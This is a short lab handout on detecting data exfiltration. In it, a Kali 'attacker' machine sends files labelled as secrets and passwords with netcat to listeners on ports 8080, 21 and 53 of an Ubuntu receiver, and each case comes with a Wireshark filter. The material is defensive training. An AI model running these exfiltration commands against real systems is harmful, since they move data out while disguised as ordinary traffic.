**Hint: 1**

**Data Exfiltration Detection**

**1. EXFILTRATION OVER HTTP-LIKE (PORT 8080)**

Ubuntu (Receiver / "Victim"):

sudo nc -lvp 8080 > received\_http.txt

Kali (Attacker / Sender):

echo "sensitive data over HTTP" > secret\_http.txt

nc <Ubuntu-IP> 8080 < secret\_http.txt

In Wireshark on Ubuntu:

* Filter: tcp.port == 8080
* You’ll see HTTP-like traffic, even though it's just raw data over TCP.

**2. EXFILTRATION OVER FTP-LIKE (PORT 21)**

Port 21 is normally used for FTP control — here we simulate uploading data.

Ubuntu:

sudo nc -lvp 21 > received\_ftp.txt

Kali:

echo "passwords file exfiltrated over FTP" > secret\_ftp.txt

nc <Ubuntu-IP> 21 < secret\_ftp.txt

Wireshark filter:

tcp.port == 21

📌 Why this works: A defender might ignore port 21 if it looks like standard FTP — a good disguise.

**3. EXFILTRATION OVER DNS-LIKE (PORT 53)**

This one’s sneaky — attackers often encode data inside fake DNS requests.

Ubuntu:

Sudo nc -ulvp 53 > received\_dns.txt

Note the -u for UDP.

Kali:

echo "covert exfiltration via DNS" > secret\_dns.txt

nc -u <Ubuntu-IP> 53 < secret\_dns.txt

Wireshark filter:

udp.port == 53

Note: DNS exfiltration in real life often encodes data into subdomains, but here you're simulating the raw idea.